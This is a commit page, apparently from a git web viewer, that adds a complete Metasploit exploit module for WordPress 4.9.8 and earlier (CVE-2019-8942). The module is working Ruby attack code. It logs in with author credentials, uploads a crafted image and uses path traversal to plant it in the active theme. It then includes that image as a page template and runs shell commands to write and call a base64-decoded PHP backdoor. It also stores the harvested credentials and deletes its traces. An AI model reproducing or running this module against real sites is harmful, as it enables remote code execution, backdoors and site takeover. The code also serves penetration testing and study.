Add exploit module for Wordpress core <=4.9.8 (CVE-2019-8942)
parent
bdb8d3b9e6
commit
23a86e7ad2
Binary file not shown.
After Width: | Height: | Size: 28 KiB |
Binary file not shown.
After Width: | Height: | Size: 12 KiB |
|
@ -0,0 +1,396 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'rex'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Exploit::Remote::HTTP::Wordpress
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(
|
||||
info,
|
||||
'Name' => 'WordPress Crop-image Shell Upload',
|
||||
'Description' => %q{
|
||||
This module exploit a path traversal and a local file inclusion
|
||||
vulnerability on WordPress versions 4.9.8 and less.
|
||||
The crop-image function allow an user, with at least author privileges,
|
||||
to resize an image an perform a path traversal by changing the _wp_attached_file
|
||||
reference during the upload. The second part of the exploit will include
|
||||
this image in the current theme by changing the _wp_page_template attribute
|
||||
when creating a post.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'RIPSTECH Technology', # Discovery
|
||||
'Wilfried Becard' # Metasploit module
|
||||
],
|
||||
'DisclosureDate' => 'Feb 19 2019',
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [['WordPress', {}]],
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']),
|
||||
OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with'])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
cookie = wordpress_login(username, password)
|
||||
if cookie.nil?
|
||||
store_valid_credential(user: username, private: password, proof: cookie)
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
CheckCode::Appears
|
||||
end
|
||||
|
||||
def username
|
||||
datastore['USERNAME']
|
||||
end
|
||||
|
||||
def password
|
||||
datastore['PASSWORD']
|
||||
end
|
||||
|
||||
def get_wpnonce(cookie)
|
||||
uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'media-new.php')
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => uri,
|
||||
'cookie' => cookie
|
||||
)
|
||||
if res && res.code == 200 && res.body && res.body.length > 0
|
||||
res.get_hidden_inputs.first["_wpnonce"]
|
||||
end
|
||||
end
|
||||
|
||||
def get_current_theme
|
||||
uri = normalize_uri(datastore['TARGETURI'])
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => uri
|
||||
)
|
||||
if res && res.code == 200 && res.body && res.body.length > 0
|
||||
res.body.scan(/\/wp-content\/themes\/(\w+)\//)[0][0]
|
||||
end
|
||||
end
|
||||
|
||||
def get_ajaxnonce(cookie)
|
||||
uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php')
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => uri,
|
||||
'cookie' => cookie,
|
||||
'vars_post' => {
|
||||
'action' => 'query-attachments',
|
||||
'post_id' => '0',
|
||||
'query[item]' => '43',
|
||||
'query[orderby]' => 'date',
|
||||
'query[order]' => 'DESC',
|
||||
'query[posts_per_page]' => '40',
|
||||
'query[paged]' => '1'
|
||||
}
|
||||
)
|
||||
if res && res.code == 200 && res.body && res.body.length > 0
|
||||
res.body.scan(/"edit":"(\w+)"/)[0][0]
|
||||
end
|
||||
end
|
||||
|
||||
def upload_file(tmp_filename, img_name, wp_nonce, cookie)
|
||||
path = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2019-8942", tmp_filename)
|
||||
file = File.open(path, "r")
|
||||
img_data = file.read
|
||||
img_name += '.jpg'
|
||||
data = Rex::MIME::Message.new
|
||||
data.add_part(img_name, nil, nil, 'form-data; name="name"')
|
||||
data.add_part('upload-attachment', nil, nil, 'form-data; name="action"')
|
||||
data.add_part(wp_nonce, nil, nil, 'form-data; name="_wpnonce"')
|
||||
data.add_part(img_data, 'image/jpeg', nil, %(form-data; name=\"async-upload\"; filename=\"#{img_name}\"))
|
||||
post_data = data.to_s
|
||||
print_status("Uploading payload")
|
||||
upload_uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'async-upload.php')
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => upload_uri,
|
||||
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||
'data' => post_data,
|
||||
'cookie' => cookie
|
||||
)
|
||||
if res && res.code == 200 && res.body && res.body.length > 0
|
||||
print_good("Image uploaded")
|
||||
res = JSON.parse(res.body)
|
||||
image_id = res["data"]["id"]
|
||||
update_nonce = res["data"]["nonces"]["update"]
|
||||
filename = res["data"]["filename"]
|
||||
return filename, image_id, update_nonce
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def check_library(filename, current_date, cookie)
|
||||
uri = normalize_uri(datastore['TARGETURI'], 'wp-content', 'uploads', current_date, 'cropped-'+filename)
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => uri,
|
||||
'cookie' => cookie
|
||||
)
|
||||
if res && res.code == 200 && res.body && res.body.length > 0
|
||||
if res.body.include?("gd-jpeg")
|
||||
false
|
||||
end
|
||||
true
|
||||
end
|
||||
end
|
||||
|
||||
def image_editor(img_name, ajax_nonce, image_id, cookie)
|
||||
uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php')
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => uri,
|
||||
'cookie' => cookie,
|
||||
'vars_post' => {
|
||||
'action' => 'image-editor',
|
||||
'_ajax_nonce' => ajax_nonce,
|
||||
'postid' => image_id,
|
||||
'history' => '[{"c":{"x":0,"y":0,"w":400,"h":300}}]',
|
||||
'target' => 'all',
|
||||
'context' => '',
|
||||
'do' => 'save'
|
||||
}
|
||||
)
|
||||
if res && res.code == 200 && res.body && res.body.length > 0
|
||||
filename = res.body.scan(/(#{img_name}-\S+)-/)[0][0]
|
||||
filename += '.jpg'
|
||||
end
|
||||
end
|
||||
|
||||
def get_wpnonce2(image_id, cookie)
|
||||
uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php?post='+image_id.to_s+'&action=edit')
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => uri,
|
||||
'cookie' => cookie
|
||||
)
|
||||
if res && res.code == 200 && res.body && res.body.length > 0
|
||||
tmp = res.get_hidden_inputs
|
||||
_wpnonce = tmp[1].first[1]
|
||||
end
|
||||
end
|
||||
|
||||
def change_path(_wpnonce, image_id, filename, current_date, path, cookie)
|
||||
uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php')
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => uri,
|
||||
'cookie' => cookie,
|
||||
'vars_post' => {
|
||||
'_wpnonce' => _wpnonce,
|
||||
'action' => 'editpost',
|
||||
'post_ID' => image_id,
|
||||
'meta_input[_wp_attached_file]' => current_date+filename+path
|
||||
}
|
||||
)
|
||||
end
|
||||
|
||||
def crop_image(image_id , ajax_nonce, cookie)
|
||||
uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php')
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => uri,
|
||||
'cookie' => cookie,
|
||||
'vars_post' => {
|
||||
'action' => 'crop-image',
|
||||
'_ajax_nonce' => ajax_nonce,
|
||||
'id' => image_id,
|
||||
'cropDetails[x1]' => 0,
|
||||
'cropDetails[y1]' => 0,
|
||||
'cropDetails[width]' => 400,
|
||||
'cropDetails[height]' => 300,
|
||||
'cropDetails[dst_width]' => 400,
|
||||
'cropDetails[dst_height]' => 300
|
||||
}
|
||||
)
|
||||
end
|
||||
|
||||
def include_theme(shell_name, cookie)
|
||||
uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post-new.php')
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => uri,
|
||||
'cookie' => cookie
|
||||
)
|
||||
if res && res.code == 200 && res.body && res.body.length > 0
|
||||
_wpnonce = res.body.scan(/name="_wpnonce" value="(\w+)"/)[0][0]
|
||||
post_id = res.body.scan(/"post":{"id":(\w+),/)[0][0]
|
||||
uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php')
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => uri,
|
||||
'cookie' => cookie,
|
||||
'vars_post' => {
|
||||
'_wpnonce'=>_wpnonce,
|
||||
'action' => 'editpost',
|
||||
'post_ID' => post_id,
|
||||
'post_title' => 'wut',
|
||||
'post_name' => 'wut',
|
||||
'meta_input[_wp_page_template]' => "cropped-#{shell_name}.jpg"
|
||||
}
|
||||
)
|
||||
if res && res.code == 302
|
||||
post_id
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online?
|
||||
|
||||
print_status("Authenticating with WordPress using #{username}:#{password}...")
|
||||
cookie = wordpress_login(username, password)
|
||||
fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil?
|
||||
print_good("Authenticated with WordPress")
|
||||
store_valid_credential(user: username, private: password, proof: cookie)
|
||||
|
||||
print_status("Preparing payload...")
|
||||
img_name = Rex::Text.rand_text_alpha(10)
|
||||
@current_theme = get_current_theme
|
||||
wp_nonce = get_wpnonce(cookie)
|
||||
|
||||
print_status("Checking crop library")
|
||||
tmp_filename = "evil.jpg"
|
||||
@filename1, image_id, update_nonce = upload_file(tmp_filename, img_name, wp_nonce, cookie)
|
||||
ajax_nonce = get_ajaxnonce(cookie)
|
||||
@current_date = Time.now.strftime("%Y/%m/")
|
||||
#Check current library
|
||||
use_imagick = true
|
||||
crop_image(image_id, ajax_nonce, cookie)
|
||||
use_imagick = check_library(@filename1, @current_date, cookie)
|
||||
|
||||
if use_imagick
|
||||
#IMAGICK exploit
|
||||
img_name = Rex::Text.rand_text_alpha(10)
|
||||
@filename2, image_id, update_nonce = upload_file(tmp_filename, img_name, wp_nonce, cookie)
|
||||
ajax_nonce = get_ajaxnonce(cookie)
|
||||
@filename2 = image_editor(img_name, ajax_nonce, image_id, cookie)
|
||||
|
||||
_wpnonce = get_wpnonce2(image_id, cookie)
|
||||
change_path(_wpnonce, image_id, @filename2, @current_date, '?/x', cookie)
|
||||
crop_image(image_id , ajax_nonce, cookie)
|
||||
@shell_name = Rex::Text.rand_text_alpha(10)
|
||||
change_path(_wpnonce, image_id, @filename2, @current_date, "?/../../../../themes/#{@current_theme}/#{@shell_name}", cookie)
|
||||
crop_image(image_id , ajax_nonce, cookie)
|
||||
print_status("Including into theme")
|
||||
post_id = include_theme(@shell_name, cookie)
|
||||
uri = normalize_uri(datastore['TARGETURI'])
|
||||
#Test if base64 is on target
|
||||
test_string = 'YmFzZTY0c3BvdHRlZAo='
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => uri,
|
||||
'cookie' => cookie,
|
||||
'vars_get' => {
|
||||
'p' => "#{post_id}",
|
||||
'0' => "echo #{test_string} | base64 -d"
|
||||
}
|
||||
)
|
||||
if res && res.code == 200 && res.body && res.body.length > 0
|
||||
if res.body.include?("base64spotted")
|
||||
#Execute payload with base64 decode
|
||||
@backdoor = Rex::Text.rand_text_alpha(10)
|
||||
encoded = Rex::Text.encode_base64(payload.encoded)
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => uri,
|
||||
'cookie' => cookie,
|
||||
'vars_get' => {
|
||||
'p' => "#{post_id}",
|
||||
'0' => "echo #{encoded} | base64 -d > #{@backdoor}.php"
|
||||
}
|
||||
)
|
||||
if res && res.code == 200 && res.body && res.body.length > 0
|
||||
uri = normalize_uri(datastore['TARGETURI'], "#{@backdoor}.php")
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => uri,
|
||||
'cookie' => cookie
|
||||
)
|
||||
end
|
||||
else
|
||||
print_status("Can't find base64 decode on target.")
|
||||
end
|
||||
end
|
||||
else
|
||||
#GD stuff
|
||||
print_status('GD library')
|
||||
tmp_filename = "evilshell.jpg"
|
||||
img_name = Rex::Text.rand_text_alpha(10)
|
||||
@filename2, image_id, update_nonce = upload_file(tmp_filename, img_name, wp_nonce, cookie)
|
||||
ajax_nonce = get_ajaxnonce(cookie)
|
||||
_wpnonce = get_wpnonce2(image_id, cookie)
|
||||
@shell_name = Rex::Text.rand_text_alpha(10)
|
||||
change_path(_wpnonce, image_id, @filename2, @current_date, "?/../../../../themes/#{@current_theme}/#{@shell_name}", cookie)
|
||||
crop_image(image_id , ajax_nonce, cookie)
|
||||
print_status("Including into theme")
|
||||
post_id = include_theme(@shell_name, cookie)
|
||||
uri = normalize_uri(datastore['TARGETURI'])
|
||||
#Test if base64 is on target
|
||||
test_string = 'YmFzZTY0c3BvdHRlZAo='
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => uri,
|
||||
'cookie' => cookie,
|
||||
'vars_get' => {
|
||||
'p' => "#{post_id}",
|
||||
'0' => "echo #{test_string} | base64 -d"
|
||||
}
|
||||
)
|
||||
if res && res.code == 200 && res.body && res.body.length > 0
|
||||
if res.body.include?("base64spotted")
|
||||
#Execute payload with base64 decode
|
||||
@backdoor = Rex::Text.rand_text_alpha(10)
|
||||
encoded = Rex::Text.encode_base64(payload.encoded)
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => uri,
|
||||
'cookie' => cookie,
|
||||
'vars_get' => {
|
||||
'p' => "#{post_id}",
|
||||
'0' => "echo #{encoded} | base64 -d > #{@backdoor}.php"
|
||||
}
|
||||
)
|
||||
if res && res.code == 200 && res.body && res.body.length > 0
|
||||
uri = normalize_uri(datastore['TARGETURI'], "#{@backdoor}.php")
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => uri,
|
||||
'cookie' => cookie
|
||||
)
|
||||
end
|
||||
else
|
||||
print_status("Can't find base64 decode on target.")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def on_new_session(client)
|
||||
#sleep 1
|
||||
client.shell_command_token("rm wp-content/uploads/#{@current_date}#{@filename1[0...10]}*")
|
||||
client.shell_command_token("rm wp-content/uploads/#{@current_date}cropped-#{@filename1[0...10]}*")
|
||||
client.shell_command_token("rm -r wp-content/uploads/#{@current_date}#{@filename2[0...10]}*")
|
||||
client.shell_command_token("rm wp-content/themes/#{@current_theme}/cropped-#{@shell_name}.jpg")
|
||||
#client.shell_command_token("rm #{@backdoor}.php")
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue